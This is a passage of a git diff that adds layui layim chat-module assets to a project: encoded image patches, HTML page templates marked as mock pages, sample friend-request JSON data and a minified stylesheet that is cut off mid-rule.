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 bWW^%>x7XlHV^#Q1uOX^B?ki3(VEg|7!QHuF literal 0 HcmV?d00001 diff --git a/start/layui/css/modules/layer/default/loading-1.gif b/start/layui/css/modules/layer/default/loading-1.gif new file mode 100644 index 0000000000000000000000000000000000000000..db3a483e4b74971fbfb1cc0fb6499852cedfe650 GIT binary patch literal 701 zcmZ?wbhEHbRAo?Qn8?Ji_w)@mZNLBj|1&T!DE{a6a}5c0b_{Se(lcOY1PT3QVdY|A zV$cDyff`g97?`@J^shYqmS1s(LX_+4yGox$4el*+Jm?ved2^25GBru=T^dGm#<906 za&AQCZ08H8P;Bd&{NT;vl&}c_^L4%p?g_hjBu{YB29{c>Ob}p@z~Ks3xCw+@!HClp xtZ<(QPf3`00FNu+VbOvoEE+h73k#4LIKl$IE8t;)<_eUs!0QU6uz&iJhvXcHF*h)T1OnEW1i^?zgDfop1p?usL*#PMGT;HQkSO{q6FlJyb$PWkPf|h*eTST}7h8z$}MF(XD(aQ)ZLZ zM?v0rT<1C4XHn<6PbNA{XL@>1^)apdD_@tcYDrW#m`k#MmslI7p^P;Az74wGs`!SI zLs$GEZHsafXsu1i-WleMzAL(yw$-LK{0hv;6hrx8kx!!4$``dAyBnY9Jz&DqJo2$A z!(L$H=KqBeY~CF_viHPz^tTglc?D97CqEBjzUwH}7GI zapg8YZM~>2Wk%E$d&r@9ly9b4Q zJpM7T@}r63I(OExUlG%Xcjz3MU+9U^r!SkpjNThDtaP)7>j6L5z%o5|^hlVOyI*uY zt^UU6NTuY?(Lb4ZIU2Zb5Vz}Pb7KF%ivf&j^CL>$cDz?rMNTQQ|NqDVD7mhghUp%h zhIA{gi{S8y9YhIIbSv$`B!JiPi!0#4#Jge0)p&YVPHchWcyAn zQhvb8ggXGXs9;k`u9Uq*YB>O+Q3Rq=2hlLFcG{Q3ORH_}JnY8C+r%@}6|%ySP%bWG zV~mA;?P`Q2L_Ss})nrJ{$TmeA9Tt*4=}X5x%RioM@_?ZsKSEST-f+GBv~Ya)xX3O{ z8!d=YthI-13OI;RN~`>|6u5L{z20oBp%9MIj)n$!Aw{Wpq&Rtr4~*_74Gjo@3el>B zz(Rk;;>2lp73<2;d=r*8z%WkdsG=vRuG_fvxO#uN^El|+5Qoz^X!2MfxJ3m}vyi?> zMLLDi8+${Z6YbUg?8GNR>-+SwHKdFyr%HqWcs|X_l*-DAC^bG&KCqWg7-_`UlwQ`EdOp_LJkr`L$mHHs75uP?fSgVfsDjuE#ft2b8HDt0yFt!+;C zEgL=)G9ZFt4wa+N3Xg7FGc0~`&EEt6_%7tyzmnb9B_h1~7~GD4V-Bhx7~QKRkF>&aT>(-!Us@aJxAY@8E?HW$G8g zSz@7Jcp>iCp;lU1ieF6n7!oAa-1E!rS0 zF1lBFVS%G#ZO}b@*+bIk+7@Q|iG60vIDVpV%4tW8rKyzwRo_<25;8*Ky@n z-sX>W*b;M){5lB_Edc@m1`VHy0@dg$PTR9uE$O2&a?KAe?xRlCj&Z$iZYw + + + + +聊天记录 + + + + + + +
        +
          +
          + +
          + + + + + + + + + + + diff --git a/start/layui/css/modules/layim/html/find.html b/start/layui/css/modules/layim/html/find.html new file mode 100644 index 0000000..7d47758 --- /dev/null +++ b/start/layui/css/modules/layim/html/find.html @@ -0,0 +1,38 @@ + + + + + + + +发现 + + + + + + +
          +
          此为自定义的【查找】页面,因需求不一,所以官方暂不提供该模版结构与样式,实际使用时,可移至该文件到你的项目中,对页面自行把控。 +
          文件所在目录(相对于layui.js):/css/modules/layim/html/find.html
          +
          + + + + + + + diff --git a/start/layui/css/modules/layim/html/getmsg.json b/start/layui/css/modules/layim/html/getmsg.json new file mode 100644 index 0000000..ebb4ea3 --- /dev/null +++ b/start/layui/css/modules/layim/html/getmsg.json @@ -0,0 +1,87 @@ +{ + "code": 0, + "pages": 1, + "data": [ + { + "id": 76, + "content": "申请添加你为好友", + "uid": 168, + "from": 166488, + "from_group": 0, + "type": 1, + "remark": "有问题要问", + "href": null, + "read": 1, + "time": "刚刚", + "user": { + "id": 166488, + "avatar": "http://q.qlogo.cn/qqapp/101235792/B704597964F9BD0DB648292D1B09F7E8/100", + "username": "李彦宏", + "sign": null + } + }, + { + "id": 75, + "content": "申请添加你为好友", + "uid": 168, + "from": 347592, + "from_group": 0, + "type": 1, + "remark": "你好啊!", + "href": null, + "read": 1, + "time": "刚刚", + "user": { + "id": 347592, + "avatar": "http://q.qlogo.cn/qqapp/101235792/B78751375E0531675B1272AD994BA875/100", + "username": "麻花疼", + "sign": null + } + }, + { + "id": 62, + "content": "雷军 拒绝了你的好友申请", + "uid": 168, + "from": null, + "from_group": null, + "type": 1, + "remark": null, + "href": null, + "read": 1, + "time": "10天前", + "user": { + "id": null + } + }, + { + "id": 60, + "content": "马小云 已经同意你的好友申请", + "uid": 168, + "from": null, + "from_group": null, + "type": 1, + "remark": null, + "href": null, + "read": 1, + "time": "10天前", + "user": { + "id": null + } + }, + { + "id": 61, + "content": "贤心 已经同意你的好友申请", + "uid": 168, + "from": null, + "from_group": null, + "type": 1, + "remark": null, + "href": null, + "read": 1, + "time": "10天前", + "user": { + "id": null + } + } + ] +} \ No newline at end of file diff --git a/start/layui/css/modules/layim/html/msgbox.html b/start/layui/css/modules/layim/html/msgbox.html new file mode 100644 index 0000000..1712047 --- /dev/null +++ b/start/layui/css/modules/layim/html/msgbox.html @@ -0,0 +1,208 @@ + + + + + + + +消息盒子 + + + + + + +
            + +
            +
            注意:这些都是模拟数据,实际使用时,需将其中的模拟接口改为你的项目真实接口。 +
            该模版文件所在目录(相对于layui.js):/css/modules/layim/html/msgbox.html
            +
            + + + + + + + + + + diff --git a/start/layui/css/modules/layim/layim.css b/start/layui/css/modules/layim/layim.css new file mode 100644 index 0000000..2fb1c14 --- /dev/null +++ b/start/layui/css/modules/layim/layim.css @@ -0,0 +1,2 @@ +/** layui-v2.5.6 MIT License By https://www.layui.com */ + html #layuicss-skinlayimcss{display:none;position:absolute;width:1989px}body .layui-layim,body .layui-layim-chat{border:1px solid #D9D9D9;border-color:rgba(0,0,0,.05);background-repeat:no-repeat;background-color:#F6F6F6;color:#333;font-family:\5FAE\8F6F\96C5\9ED1}body .layui-layim-chat{background-size:cover}body .layui-layim .layui-layer-title{height:110px;border-bottom:none;background:0 0}.layui-layim-main{position:relative;top:-98px;left:0}body .layui-layim .layui-layer-content,body .layui-layim-chat .layui-layer-content{overflow:visible}.layui-layim cite,.layui-layim em,.layui-layim-chat cite,.layui-layim-chat em{font-style:normal}.layui-layim-info{height:50px;font-size:0;padding:0 15px}.layui-layim-info *{font-size:14px}.layim-tab-content li h5 *,.layui-layim-info div,.layui-layim-skin li,.layui-layim-tab li,.layui-layim-tool li{display:inline-block;vertical-align:top;*zoom:1;*display:inline}.layim-tab-content li h5 span,.layui-layim-info .layui-layim-user,.layui-layim-list li p,.layui-layim-list li span,.layui-layim-remark{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.layui-layim-info .layui-layim-user{max-width:150px;margin-right:5px;font-size:16px}.layui-layim-status{position:relative;top:2px;line-height:19px;cursor:pointer}.layim-status-online{color:#3FDD86}.layim-status-hide{color:#DD691D}.layim-menu-box{display:none;position:absolute;z-index:100;top:24px;left:-31px;padding:5px 0;width:85px;border:1px solid #E2E2E2;border-radius:2px;background-color:#fff;box-shadow:1px 1px 20px rgba(0,0,0,.1)}.layim-menu-box li{position:relative;line-height:22px;padding-left:30px;font-size:12px}.layim-menu-box li cite{padding-right:5px;font-size:14px}.layim-menu-box li i{display:none;position:absolute;left:8px;top:0;font-weight:700;color:#5FB878}.layim-menu-box .layim-this i{display:block}.layim-menu-box li:hover{background-color:#eee}.layui-layim-remark{position:relative;left:-6px;display:block;width:100%;border:1px solid transparent;margin-top:8px;padding:0 5px;height:26px;line-height:26px;background:0 0;border-radius:2px}.layui-layim-remark:focus,.layui-layim-remark:hover{border:1px solid #d2d2d2;border-color:rgba(0,0,0,.15)}.layui-layim-remark:focus{background-color:#fff}.layui-layim-tab{margin-top:10px;padding:9px 0;font-size:0}.layui-layim-tab li{position:relative;width:33.33%;height:24px;line-height:24px;font-size:22px;text-align:center;color:#666;color:rgba(0,0,0,.6);cursor:pointer}.layim-tab-two li{width:50%}.layui-layim-tab li.layim-this:after{content:'';position:absolute;left:0;bottom:-9px;width:100%;height:3px;background-color:#3FDD86}.layui-layim-tab li.layim-hide{display:none}.layui-layim-tab li:hover{opacity:.8;filter:Alpha(opacity=80)}.layim-tab-content{display:none;padding:10px 0;height:349px;overflow:hidden;background-color:#fff;background-color:rgba(255,255,255,.9)}.layim-tab-content:hover{overflow-y:auto}.layim-tab-content li h5{position:relative;margin-right:15px;padding-left:30px;height:28px;line-height:28px;cursor:pointer;font-size:0;white-space:nowrap;overflow:hidden}.layim-tab-content li h5 *{font-size:14px}.layim-tab-content li h5 span{max-width:125px}.layim-tab-content li h5 i{position:absolute;left:12px;top:0;color:#C9BDBB}.layim-tab-content li h5 em{padding-left:5px;color:#999}.layim-tab-content li h5[lay-type=true] i{top:2px}.layim-tab-content li ul{display:none;margin-bottom:10px}.layui-layim-list li{position:relative;height:42px;padding:5px 15px 5px 60px;font-size:0;cursor:pointer}.layui-layim-list li:hover{background-color:#F2F2F2;background-color:rgba(0,0,0,.05)}.layui-layim-list li.layim-null{height:20px;line-height:20px;padding:0;font-size:14px;color:#999;text-align:center;cursor:default}.layui-layim-list li.layim-null:hover{background:0 0}.layui-layim-list li *{display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:14px}.layui-layim-list li span{margin-top:4px;max-width:155px}.layui-layim-list li img{position:absolute;left:15px;top:8px;width:36px;height:36px;border-radius:100%}.layui-layim-list li p{display:block;padding-right:30px;line-height:18px;font-size:12px;color:#999}.layui-layim-list li .layim-msg-status{display:none;position:absolute;right:10px;bottom:7px;padding:0 5px;height:16px;line-height:16px;border-radius:16px;text-align:center;font-size:10px;background-color:#F74C31;color:#fff}.layim-list-gray{-webkit-filter:grayscale(100%);-ms-filter:grayscale(100%);filter:grayscale(100%);filter:gray}.layui-layim-tool{padding:0 10px;font-size:0;background-color:#F6F6F6;border-radius:0 0 2px 2px}.layui-layim-tool li{position:relative;width:48px;height:37px;line-height:40px;text-align:center;font-size:22px;cursor:pointer}.layui-layim-tool li:active{background-color:#e2e2e2}.layui-layim-tool .layim-tool-msgbox{line-height:37px}.layui-layim-tool .layim-tool-find{line-height:38px}.layui-layim-tool .layim-tool-skin{font-size:26px}.layim-tool-msgbox span{display:none;position:absolute;left:12px;top:-12px;height:20px;line-height:20px;padding:0 10px;border-radius:2px;background-color:#33DF83;color:#fff;font-size:12px;-webkit-animation-duration:1s;animation-duration:1s}.layim-tool-msgbox .layer-anim-05{display:block}.layui-layim-search{display:none;position:absolute;bottom:5px;left:5px;height:28px;line-height:28px}.layui-layim-search input{width:210px;padding:0 30px 0 10px;height:30px;line-height:30px;border:none;border-radius:3px;background-color:#ddd}.layui-layim-search label{position:absolute;right:6px;top:4px;font-size:20px;cursor:pointer;color:#333;font-weight:400}.layui-layim-skin{margin:10px 0 0 10px;font-size:0}.layui-layim-skin li{margin:0 10px 10px 0;line-height:60px;text-align:center;background-color:#f6f6f6}.layui-layim-skin li,.layui-layim-skin li img{width:86px;height:60px;cursor:pointer}.layui-layim-skin li img:hover{opacity:.8;filter:Alpha(opacity=80)}.layui-layim-skin li cite{font-size:14px;font-style:normal}body .layui-layim-chat{background-color:#fff}body .layui-layim-chat-list{width:760px}body .layui-layim-chat .layui-layer-title{height:80px;border-bottom:none;background-color:#F8F8F8;background-color:rgba(245,245,245,.7)}body .layui-layim-chat .layui-layer-content{background:0 0}.layim-chat-list li *,.layui-layim-min .layui-layer-content *{display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:14px}.layim-chat-list{display:none;position:absolute;z-index:1000;top:-80px;width:200px;height:100%;background-color:#D9D9D9;overflow:hidden;font-size:0}.layim-chat-list:hover{overflow-y:auto}.layim-chat-list li,.layui-layim-min .layui-layer-content{position:relative;margin:5px;padding:5px 30px 5px 5px;line-height:40px;cursor:pointer;border-radius:3px}.layim-chat-list li img,.layui-layim-min .layui-layer-content img{width:40px;height:40px;border-radius:100%}.layui-layim-photos{cursor:crosshair}.layim-chat-list li{white-space:nowrap}.layim-chat-list li span,.layui-layim-min .layui-layer-content span{width:100px;padding-left:10px;font-size:16px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.layim-chat-list li span cite{color:#999;padding-left:10px}.layim-chat-list li:hover{background-color:#E2E2E2}.layim-chat-list li.layim-this{background-color:#F3F3F3}.layim-chat-list li .layui-icon{display:none;position:absolute;right:5px;top:7px;color:#555;font-size:22px}.layim-chat-list li .layui-icon:hover{color:#c00}.layim-chat-list li:hover .layui-icon{display:inline-block}.layim-chat-system{margin:10px 0;text-align:center}.layim-chat-system span{display:inline-block;line-height:30px;padding:0 15px;border-radius:3px;background-color:#e2e2e2;cursor:default;font-size:14px}.layim-chat{display:none;position:relative;background-color:#fff;background-color:rgba(255,255,255,.9)}.layim-chat-title{position:absolute;top:-80px;height:80px}.layim-chat-other{position:relative;top:15px;left:15px;padding-left:60px;cursor:default}.layim-chat-other img{position:absolute;left:0;top:0;width:50px;height:50px;border-radius:100%}.layim-chat-username{position:relative;top:5px;font-size:18px}.layim-chat-status{margin-top:6px;font-size:14px;color:#999}.layim-chat-group .layim-chat-other .layim-chat-username{cursor:pointer}.layim-chat-group .layim-chat-other .layim-chat-username em{padding:0 10px;color:#999}.layim-chat-main{height:262px;padding:15px 15px 5px;overflow-x:hidden;overflow-y:auto}.layim-chat-main ul 